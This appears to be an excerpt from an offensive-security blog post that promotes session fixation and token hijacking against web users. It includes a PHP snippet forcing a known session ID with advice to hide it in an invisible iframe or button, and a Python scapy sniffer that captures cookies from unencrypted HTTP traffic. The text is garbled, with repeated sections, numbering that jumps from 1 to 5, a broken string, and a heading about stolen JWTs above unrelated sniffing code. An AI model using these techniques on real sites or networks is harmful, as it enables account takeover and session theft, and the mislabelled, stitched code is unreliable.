Welcome to the dark side of the web, where knowledge is power, and power means control.
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1. Session Fixation: Control the Game Before It Begins
Session fixation is a beautiful trick: you force a user to log in using a session ID you control. Once they authenticate, you already have access.
Hide this inside an iframe or an invisible button, and once the victim clicks—game over.
5. Token Hijacking: Replay and Reuse
API authentication tokens (JWT, OAuth) are gold mines. If you can grab a user's authentication token, you can reuse it indefinitely unless the server properly invalidates old sessions.
? Exploit: Using a Stolen JWT Token (Python)
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1. Session Fixation: Control the Game Before It Begins
Session fixation is a beautiful trick: you force a user to log in using a session ID you control. Once they authenticate, you already have access.
<?php
session_start();
// Force a known session ID
session_id('attacker123');
// Victim logs in, but the session remains under your control
$_SESSION['user'] = 'target_user';
echo "Session fixed: " . session_id();
?>Hide this inside an iframe or an invisible button, and once the victim clicks—game over.
5. Token Hijacking: Replay and Reuse
API authentication tokens (JWT, OAuth) are gold mines. If you can grab a user's authentication token, you can reuse it indefinitely unless the server properly invalidates old sessions.
? Exploit: Using a Stolen JWT Token (Python)
from scapy.all import *
def packet_callback(packet):
if packet.haslayer(TCP) and packet.haslayer(Raw):
if b"Cookie" in packet[Raw].load:
print(f"
Captured Cookie: {packet[Raw].load}")
sniff(filter="tcp port 80", prn=packet_callback, store=0)